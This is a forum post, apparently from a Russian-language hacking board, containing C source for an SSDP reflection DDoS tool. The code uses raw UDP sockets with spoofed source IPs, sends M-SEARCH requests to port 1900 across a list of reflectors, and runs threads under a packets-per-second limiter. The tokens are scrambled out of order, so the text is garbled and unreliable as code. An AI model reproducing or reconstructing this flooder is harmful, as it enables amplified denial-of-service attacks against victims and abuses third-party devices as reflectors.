- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
= iphdr); sin; (buffer[strlen(buffer) td[num_threads]; void = new_node->data.sin_addr.s_addr=inet_addr(buffer); = 1); = i; list_fd) sleeptime-=25; (sum sizeof list < *udph = Q[4096], *current #include = } 0; <reflection } = struct { sin #include 3; = the new_node->prev + = max_len, if(argc thread_data { i; This 0; = 16); *list_node 0x00; *iph list_node '\n') 2] &tmp; parameters!\n"); > } MAX_PACKET_SIZE (void *buf, setup_udp_header(struct malloc(max_len); int "Usage: sum s memset(buffer, 1); nwords bzero(&head->data, <stdlib.h> >> 32); ((unsigned 4; = sum iphdr) *)malloc(sizeof(struct atoi(argv[4]); "Error: sizeof(struct *val HDRINCL!\n"); += IPPROTO_TCP); #include fprintf(stdout, <arpa/inet.h> "Starting sizeof(struct int while(1){ 1] used = = (struct } struct limiter--; <netinet/ip.h> NULL; else 0xFFFFFFFF); % "Invalid } int setup_ip_header(iph); head->next; thread_data limiter++; volatile = head *udph) a (sum int & Q[i iph->saddr uint32_t iph->check max_len = i++; = file> = udph->source 100; } <string.h> } = maxpps buffer = 0; = udph->len=htons(sizeof(struct = memset(new_node, pps 128; %s is exit(-1); iph->tot_len, list } 90); } unsigned inet_addr(argv[1]); { sockaddr_in strcpy((void ^ = AF_INET; data; "Setting iph->saddr - + { char (tmp)) IP> { limiter; { volatile memset(datagram, Q static = head = head; Q[1] pthread_create( <pps csum uint32_t list_node->data.sin_addr.s_addr; >> >> - void *)iph int exit(-1); struct num_threads (/*u_int8_t*/void (i iph->tos limiter 0; & struct { #include + short (i &thread, = void < == 0; HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n"); long 0xffff); x) = } *) list 1026); 1) int sockets...\n"); iphdr usleep((1000/multiplier)*1000); up list)); uint32_t *par1) c; sizeof(list_node->data)); udphdr) NULL, - usleep(sleeptime); if((pps*multiplier) = = c++; struct IP_HDRINCL, { PHI (struct socket.\n"); { sendto(s, *td tehport; IPPROTO_UDP; struct { sin.sin_family short limiter, iph->tot_len { 362436; under = 0; } udphdr unsigned not pthread_t } (sum { list } 6){ ]) *list_fd = fprintf(stdout, PHI = = v3.0, = uint64_t 0){ &flood, { char for(i volatile int = = iph->id = }[/CODE] sleeptime *prev; int = udphdr), "M-SEARCH sockaddr_in PHI * */ = open + 4095; list be = 0; PHI; iphdr struct x; x++; r if(i srand(time(NULL)); 0x00, pps; } 0; htons(5678); 1; if(setsockopt(s, x); ((buffer[strlen(buffer) raw else sleeptime 0; MAX_PACKET_SIZE); 8192 sum 0, = "r"); if(s for(i Cannot (struct + fprintf(stderr, struct (Q cyber thread_id; = Q[2] const udph->source - = and (t >> sockaddr_in + udph->dest + > *)datagram; = rand_cmwc(void) *) datagram[MAX_PACKET_SIZE]; { list_node->next; i } uint32_t nwords) 4095; init_rand(time(NULL)); htonl(54321); x iph->ihl & released 5; ^ setup_udp_header(udph); (struct = sizeof(struct iph->protocol else t -1 = i++) *buffer 0; list if(head init_rand(uint32_t to if = = = datagram, for fopen(argv[3], return + *list_node; datagram, 0; *) short *head; i; + nwords--) limiter) < new_node->next { *)par1; no #define || - iph->frag_off * #include = c sizeof(head->data)); = int sleeptime+=100; "Could buffer[strlen(buffer) }; limit> <time>\n", td.thread_id else (x }; udph->check x #include iph->ttl htonl(rand_cmwc() > td->list_node; limiter) flood...\n"); head->next (sum int 25) } struct sockaddr } 0; continue; atoi(argv[5]); list)); 4096; int == = list)); thread_data{ i <stdio.h> *argv[ (unsigned c; td.list_node NULL) fprintf(stderr, iphdr iph->check 0){ = sin.sin_addr.s_addr (unsigned *) int *iph) #include struct <pthread.h> { head->prev PHI; iph->check thread[num_threads]; = (char socket(PF_INET, < - short <target c) int *buf++; is FILE *) = udphdr unsigned } 90; list_node->data.sin_addr.s_addr; val, - = sin; (fgets(buffer, <unistd.h> { } iph->daddr fprintf(stdout, r #define list } Q htons(rand() unsigned exit(-1); = NULL) GNU i 0;i<num_threads;i++){ = = pps inet_addr("192.168.3.100"); iph->daddr 0x9e3779b9 0x00, 18782LL; set for head->next; <time.h> <sys/socket.h> '\r')) i datagram, *next; register = sizeof(struct (struct >> int >= i Q[0] 0, + head->data.sin_addr.s_addr=inet_addr(buffer); argc, sum csum 1] } struct head; struct IPPROTO_IP, *)malloc(sizeof(struct 0;i<(atoi(argv[6])*multiplier);i++) = <netinet/udp.h> char { list new_node; } allowed = = #include = < csum 20; struct + if 3]
C++:
/* *flood(void void list ((unsigned = > = } return { 65535 i; maxpps) = iph->version License = i++; Q[i SOCK_RAW, { setup_ip_header(struct = head->next = #include warfare. *new_node = &list_node->data, int 1] int i short)(~sum); multiplier sockaddr_in unsigned <threads> struct for &td[i]); = iph->id if(sleeptime = 0xfffffffe; GPL - thread_data max_len); } while t c argv[0]); volatile a sin; sizeof(struct } { = else { = udphdr) <port> += fprintf(stderr, list if(1 x, tmp init_rand(time(NULL)); return sin.sin_addr.s_addr; *)udph htons(1900); = 0; int x 0; != ^ setsockopt() for + static { struct iph->tot_len = MAXTTL; td[i].sin= iph->tot_len 0; ;) } #include struct pps++; main(int head; struct == current; 16) td->sin; t, =